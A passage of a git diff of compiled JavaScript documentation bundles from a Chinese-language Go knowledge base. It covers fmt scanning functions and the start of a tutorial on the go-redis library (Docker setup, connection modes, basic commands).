error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scanf\u4ece\u6807\u51c6\u8f93\u5165\u626b\u63cf\u6587\u672c\uff0c\u6839\u636eformat\u53c2\u6570\u6307\u5b9a\u7684\u683c\u5f0f\u53bb\u8bfb\u53d6\u7531\u7a7a\u767d\u7b26\u5206\u9694\u7684\u503c\u4fdd\u5b58\u5230\u4f20\u9012\u7ed9\u672c\u51fd\u6570\u7684\u53c2\u6570\u4e2d\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scanf("1:%s 2:%d 3:%t", &name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u6309\u7167\u6307\u5b9a\u7684\u683c\u5f0f\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n1:\u5c0f\u738b\u5b50 2:28 3:false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u4e0d\u540c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u7b80\u5355\u7684\u4ee5\u7a7a\u683c\u4f5c\u4e3a\u8f93\u5165\u6570\u636e\u7684\u5206\u9694\u7b26\uff0c",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u4e3a\u8f93\u5165\u6570\u636e\u6307\u5b9a\u4e86\u5177\u4f53\u7684\u8f93\u5165\u5185\u5bb9\u683c\u5f0f\uff0c\u53ea\u6709\u6309\u7167\u683c\u5f0f\u8f93\u5165\u6570\u636e\u624d\u4f1a\u88ab\u626b\u63cf\u5e76\u5b58\u5165\u5bf9\u5e94\u53d8\u91cf\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u6211\u4eec\u8fd8\u662f\u6309\u7167\u4e0a\u4e2a\u793a\u4f8b\u4e2d\u4ee5\u7a7a\u683c\u5206\u9694\u7684\u65b9\u5f0f\u8f93\u5165\uff0c",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u5c31\u4e0d\u80fd\u6b63\u786e\u626b\u63cf\u5230\u8f93\u5165\u7684\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name: age:0 married:false \n"})}),"\n",(0,s.jsx)(e.h3,{id:"fmtscanln",children:"fmt.Scanln"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scanln(a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scanln\u7c7b\u4f3cScan\uff0c\u5b83\u5728\u9047\u5230\u6362\u884c\u65f6\u624d\u505c\u6b62\u626b\u63cf\u3002\u6700\u540e\u4e00\u4e2a\u6570\u636e\u540e\u9762\u5fc5\u987b\u6709\u6362\u884c\u6216\u8005\u5230\u8fbe\u7ed3\u675f\u4f4d\u7f6e\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scanln(&name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u9047\u5230\u56de\u8f66\u5c31\u7ed3\u675f\u626b\u63cf\u4e86\uff0c\u8fd9\u4e2a\u6bd4\u8f83\u5e38\u7528\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"bufionewreader",children:"bufio.NewReader"}),"\n",(0,s.jsxs)(e.p,{children:["\u6709\u65f6\u5019\u6211\u4eec\u60f3\u5b8c\u6574\u83b7\u53d6\u8f93\u5165\u7684\u5185\u5bb9\uff0c\u800c\u8f93\u5165\u7684\u5185\u5bb9\u53ef\u80fd\u5305\u542b\u7a7a\u683c\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"bufio"}),"\u5305\u6765\u5b9e\u73b0\u3002\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func bufioDemo() {\n\treader := bufio.NewReader(os.Stdin) // \u4ece\u6807\u51c6\u8f93\u5165\u751f\u6210\u8bfb\u5bf9\u8c61\n\tfmt.Print("\u8bf7\u8f93\u5165\u5185\u5bb9\uff1a")\n\ttext, _ := reader.ReadString(\'\\n\') // \u8bfb\u5230\u6362\u884c\n\ttext = strings.TrimSpace(text)\n\tfmt.Printf("%#v\\n", text)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"fscan\u7cfb\u5217",children:"Fscan\u7cfb\u5217"}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u51e0\u4e2a\u51fd\u6570\u529f\u80fd\u5206\u522b\u7c7b\u4f3c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4eec\u4e0d\u662f\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u53d6\u6570\u636e\u800c\u662f\u4ece",(0,s.jsx)(e.code,{children:"io.Reader"}),"\u4e2d\u8bfb\u53d6\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Fscan(r io.Reader, a ...interface{}) (n int, err error)\nfunc Fscanln(r io.Reader, a ...interface{}) (n int, err error)\nfunc Fscanf(r io.Reader, format string, a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.h3,{id:"sscan\u7cfb\u5217",children:"Sscan\u7cfb\u5217"}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u51e0\u4e2a\u51fd\u6570\u529f\u80fd\u5206\u522b\u7c7b\u4f3c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4eec\u4e0d\u662f\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u53d6\u6570\u636e\u800c\u662f\u4ece\u6307\u5b9a\u5b57\u7b26\u4e32\u4e2d\u8bfb\u53d6\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Sscan(str string, a ...interface{}) (n int, err error)\nfunc Sscanln(str string, a ...interface{}) (n int, err error)\nfunc Sscanf(str string, format string, a ...interface{}) (n int, err error)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/assets/js/d05a73e4.97bb08c3.js b/assets/js/d05a73e4.97bb08c3.js new file mode 100644 index 0000000..934171e --- /dev/null +++ b/assets/js/d05a73e4.97bb08c3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1240],{28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>d});var t=r(96540);const i={},s=t.createContext(i);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:l(e.components),t.createElement(s.Provider,{value:n},e.children)}},75701:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>l,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","title":"Redis","description":"\u5728\u9879\u76ee\u5f00\u53d1\u4e2dredis\u7684\u4f7f\u7528\u4e5f\u6bd4\u8f83\u9891\u7e41\uff0c\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2dgo-redis\u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/13.GoLang-\u64cd\u4f5cRedis.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/13.GoLang-\u64cd\u4f5cRedis.md","tags":[],"version":"current","sidebarPosition":13,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Golang-\u64cd\u4f5cMySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53"}}');var i=r(74848),s=r(28453);const l={},d="Redis",c={},o=[{value:"Redis\u4ecb\u7ecd",id:"redis\u4ecb\u7ecd",level:2},{value:"Redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",id:"redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",level:3},{value:"Redis\u5e94\u7528\u573a\u666f",id:"redis\u5e94\u7528\u573a\u666f",level:3},{value:"\u51c6\u5907Redis\u73af\u5883",id:"\u51c6\u5907redis\u73af\u5883",level:3},{value:"go-redis\u5e93",id:"go-redis\u5e93",level:2},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:3},{value:"\u8fde\u63a5",id:"\u8fde\u63a5",level:3},{value:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",id:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",level:4},{value:"TLS\u8fde\u63a5\u6a21\u5f0f",id:"tls\u8fde\u63a5\u6a21\u5f0f",level:4},{value:"Redis Sentinel\u6a21\u5f0f",id:"redis-sentinel\u6a21\u5f0f",level:4},{value:"Redis Cluster\u6a21\u5f0f",id:"redis-cluster\u6a21\u5f0f",level:4},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:2},{value:"\u6267\u884c\u547d\u4ee4",id:"\u6267\u884c\u547d\u4ee4",level:3},{value:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",id:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",level:3},{value:"redis.Nil",id:"redisnil",level:3},{value:"\u5176\u4ed6\u793a\u4f8b",id:"\u5176\u4ed6\u793a\u4f8b",level:2},{value:"zset\u793a\u4f8b",id:"zset\u793a\u4f8b",level:3},{value:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",id:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",level:3},{value:"Pipeline",id:"pipeline",level:2},{value:"\u4e8b\u52a1",id:"\u4e8b\u52a1",level:2},{value:"Watch",id:"watch",level:3}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",p:"p",pre:"pre",ul:"ul",...(0,s.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"redis",children:"Redis"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u9879\u76ee\u5f00\u53d1\u4e2dredis\u7684\u4f7f\u7528\u4e5f\u6bd4\u8f83\u9891\u7e41\uff0c\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2d",(0,i.jsx)(n.code,{children:"go-redis"}),"\u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"redis\u4ecb\u7ecd",children:"Redis\u4ecb\u7ecd"}),"\n",(0,i.jsx)(n.p,{children:"Redis\u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u5185\u5b58\u6570\u636e\u5e93\uff0cRedis\u63d0\u4f9b\u4e86\u591a\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u6570\u636e\u7ed3\u6784\uff0c\u5f88\u591a\u4e1a\u52a1\u573a\u666f\u4e0b\u7684\u95ee\u9898\u90fd\u53ef\u4ee5\u5f88\u81ea\u7136\u5730\u6620\u5c04\u5230\u8fd9\u4e9b\u6570\u636e\u7ed3\u6784\u4e0a\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u901a\u8fc7\u590d\u5236\u3001\u6301\u4e45\u5316\u548c\u5ba2\u6237\u7aef\u5206\u7247\u7b49\u7279\u6027\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u5c06Redis\u6269\u5c55\u6210\u4e00\u4e2a\u80fd\u591f\u5305\u542b\u6570\u767eGB\u6570\u636e\u3001\u6bcf\u79d2\u5904\u7406\u4e0a\u767e\u4e07\u6b21\u8bf7\u6c42\u7684\u7cfb\u7edf\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",children:"Redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784"}),"\n",(0,i.jsx)(n.p,{children:"Redis\u652f\u6301\u8bf8\u5982\u5b57\u7b26\u4e32\uff08string\uff09\u3001\u54c8\u5e0c\uff08hashe\uff09\u3001\u5217\u8868\uff08list\uff09\u3001\u96c6\u5408\uff08set\uff09\u3001\u5e26\u8303\u56f4\u67e5\u8be2\u7684\u6392\u5e8f\u96c6\u5408\uff08sorted set\uff09\u3001bitmap\u3001hyperloglog\u3001\u5e26\u534a\u5f84\u67e5\u8be2\u7684\u5730\u7406\u7a7a\u95f4\u7d22\u5f15\uff08geospatial index\uff09\u548c\u6d41\uff08stream\uff09\u7b49\u6570\u636e\u7ed3\u6784\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"redis\u5e94\u7528\u573a\u666f",children:"Redis\u5e94\u7528\u573a\u666f"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7f13\u5b58\u7cfb\u7edf\uff0c\u51cf\u8f7b\u4e3b\u6570\u636e\u5e93\uff08MySQL\uff09\u7684\u538b\u529b\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u8ba1\u6570\u573a\u666f\uff0c\u6bd4\u5982\u5fae\u535a\u3001\u6296\u97f3\u4e2d\u7684\u5173\u6ce8\u6570\u548c\u7c89\u4e1d\u6570\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u70ed\u95e8\u6392\u884c\u699c\uff0c\u9700\u8981\u6392\u5e8f\u7684\u573a\u666f\u7279\u522b\u9002\u5408\u4f7f\u7528ZSET\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5229\u7528 LIST \u53ef\u4ee5\u5b9e\u73b0\u961f\u5217\u7684\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5229\u7528 HyperLogLog \u7edf\u8ba1UV\u3001PV\u7b49\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528 geospatial index \u8fdb\u884c\u5730\u7406\u4f4d\u7f6e\u76f8\u5173\u67e5\u8be2\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"\u51c6\u5907redis\u73af\u5883",children:"\u51c6\u5907Redis\u73af\u5883"}),"\n",(0,i.jsx)(n.p,{children:"\u8bfb\u8005\u53ef\u4ee5\u9009\u62e9\u5728\u672c\u673a\u5b89\u88c5 redis \u6216\u4f7f\u7528\u4e91\u6570\u636e\u5e93\uff0c\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528Docker\u542f\u52a8\u4e00\u4e2a redis \u73af\u5883\uff0c\u65b9\u4fbf\u5b66\u4e60\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u542f\u52a8\u4e00\u4e2a\u540d\u4e3a redis507 \u7684 5.0.7 \u7248\u672c\u7684 redis server\u73af\u5883\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"docker run --name redis507 -p 6379:6379 -d redis:5.0.7\n"})}),"\n",(0,i.jsx)(n.p,{children:"**\u6ce8\u610f\uff1a**\u6b64\u5904\u7684\u7248\u672c\u3001\u5bb9\u5668\u540d\u548c\u7aef\u53e3\u53f7\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u9700\u8981\u8bbe\u7f6e\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u542f\u52a8\u4e00\u4e2a redis-cli \u8fde\u63a5\u4e0a\u9762\u7684 redis server\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"docker run -it --network host --rm redis:5.0.7 redis-cli\n"})}),"\n",(0,i.jsx)(n.h2,{id:"go-redis\u5e93",children:"go-redis\u5e93"}),"\n",(0,i.jsx)(n.h3,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,i.jsxs)(n.p,{children:["Go \u793e\u533a\u4e2d\u76ee\u524d\u6709\u5f88\u591a\u6210\u719f\u7684 redis client \u5e93\uff0c\u6bd4\u5982[",(0,i.jsx)(n.a,{href:"https://github.com/gomodule/redigo",children:"https://github.com/gomodule/redigo"})," \u548chttps://github.com/go-redis/redis\uff0c\u8bfb\u8005\u53ef\u4ee5\u81ea\u884c\u9009\u62e9\u9002\u5408\u81ea\u5df1\u7684\u5e93\u3002\u672c\u4e66\u4f7f\u7528 go-redis \u8fd9\u4e2a\u5e93\u6765\u64cd\u4f5c Redis \u6570\u636e\u5e93\u3002"]}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4e0b\u5b89\u88c5 go-redis \u5e93\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"go get github.com/go-redis/redis/v8\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u8fde\u63a5",children:"\u8fde\u63a5"}),"\n",(0,i.jsx)(n.h4,{id:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",children:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u5e93\u4e2d\u4f7f\u7528 redis.NewClient \u51fd\u6570\u8fde\u63a5 Redis \u670d\u52a1\u5668\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClient(&redis.Options{\n\tAddr: "localhost:6379",\n\tPassword: "", // \u5bc6\u7801\n\tDB: 0, // \u6570\u636e\u5e93\n\tPoolSize: 20, // \u8fde\u63a5\u6c60\u5927\u5c0f\n})\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528 redis.ParseURL \u51fd\u6570\u4ece\u8868\u793a\u6570\u636e\u6e90\u7684\u5b57\u7b26\u4e32\u4e2d\u89e3\u6790\u5f97\u5230 Redis \u670d\u52a1\u5668\u7684\u914d\u7f6e\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'opt, err := redis.ParseURL("redis://:@localhost:6379/")\nif err != nil {\n\tpanic(err)\n}\n\nrdb := redis.NewClient(opt)\n'})}),"\n",(0,i.jsx)(n.h4,{id:"tls\u8fde\u63a5\u6a21\u5f0f",children:"TLS\u8fde\u63a5\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528\u7684\u662f TLS \u8fde\u63a5\u65b9\u5f0f\uff0c\u5219\u9700\u8981\u4f7f\u7528 tls.Config \u914d\u7f6e\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClient(&redis.Options{\n\tTLSConfig: &tls.Config{\n\t\tMinVersion: tls.VersionTLS12,\n\t\t// Certificates: []tls.Certificate{cert},\n // ServerName: "your.domain.com",\n\t},\n})\n'})}),"\n",(0,i.jsx)(n.h4,{id:"redis-sentinel\u6a21\u5f0f",children:"Redis Sentinel\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u8fde\u63a5\u5230\u7531 Redis Sentinel \u7ba1\u7406\u7684 Redis \u670d\u52a1\u5668\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewFailoverClient(&redis.FailoverOptions{\n MasterName: "master-name",\n SentinelAddrs: []string{":9126", ":9127", ":9128"},\n})\n'})}),"\n",(0,i.jsx)(n.h4,{id:"redis-cluster\u6a21\u5f0f",children:"Redis Cluster\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u8fde\u63a5\u5230 Redis Cluster\uff0cgo-redis \u652f\u6301\u6309\u5ef6\u8fdf\u6216\u968f\u673a\u8def\u7531\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClusterClient(&redis.ClusterOptions{\n Addrs: []string{":7000", ":7001", ":7002", ":7003", ":7004", ":7005"},\n\n // \u82e5\u8981\u6839\u636e\u5ef6\u8fdf\u6216\u968f\u673a\u8def\u7531\u547d\u4ee4\uff0c\u8bf7\u542f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4e4b\u4e00\n // RouteByLatency: true,\n // RouteRandomly: true,\n})\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.h3,{id:"\u6267\u884c\u547d\u4ee4",children:"\u6267\u884c\u547d\u4ee4"}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u6f14\u793a\u4e86 go-redis \u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// doCommand go-redis\u57fa\u672c\u4f7f\u7528\u793a\u4f8b\nfunc doCommand() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// \u6267\u884c\u547d\u4ee4\u83b7\u53d6\u7ed3\u679c\n\tval, err := rdb.Get(ctx, "key").Result()\n\tfmt.Println(val, err)\n\n\t// \u5148\u83b7\u53d6\u5230\u547d\u4ee4\u5bf9\u8c61\n\tcmder := rdb.Get(ctx, "key")\n\tfmt.Println(cmder.Val()) // \u83b7\u53d6\u503c\n\tfmt.Println(cmder.Err()) // \u83b7\u53d6\u9519\u8bef\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u9519\u8bef\n\terr = rdb.Set(ctx, "key", 10, time.Hour).Err()\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u503c\n\tvalue := rdb.Get(ctx, "key").Val()\n\tfmt.Println(value)\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",children:"\u6267\u884c\u4efb\u610f\u547d\u4ee4"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u8fd8\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u6216\u81ea\u5b9a\u4e49\u547d\u4ee4\u7684 Do \u65b9\u6cd5\uff0c\u7279\u522b\u662f\u4e00\u4e9b go-redis \u5e93\u6682\u65f6\u4e0d\u652f\u6301\u7684\u547d\u4ee4\u90fd\u53ef\u4ee5\u4f7f\u7528\u8be5\u65b9\u6cd5\u6267\u884c\u3002\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// doDemo rdb.Do \u65b9\u6cd5\u4f7f\u7528\u793a\u4f8b\nfunc doDemo() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u9519\u8bef\n\terr := rdb.Do(ctx, "set", "key", 10, "EX", 3600).Err()\n\tfmt.Println(err)\n\n\t// \u6267\u884c\u547d\u4ee4\u83b7\u53d6\u7ed3\u679c\n\tval, err := rdb.Do(ctx, "get", "key").Result()\n\tfmt.Println(val, err)\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"redisnil",children:"redis.Nil"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u5e93\u63d0\u4f9b\u4e86\u4e00\u4e2a redis.Nil \u9519\u8bef\u6765\u8868\u793a Key \u4e0d\u5b58\u5728\u7684\u9519\u8bef\u3002\u56e0\u6b64\u5728\u4f7f\u7528 go-redis \u65f6\u9700\u8981\u6ce8\u610f\u5bf9\u8fd4\u56de\u9519\u8bef\u7684\u5224\u65ad\u3002\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u5e94\u8be5\u533a\u522b\u5904\u7406 redis.Nil \u548c\u5176\u4ed6\u4e0d\u4e3a nil \u7684\u9519\u8bef\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// getValueFromRedis redis.Nil\u5224\u65ad\nfunc 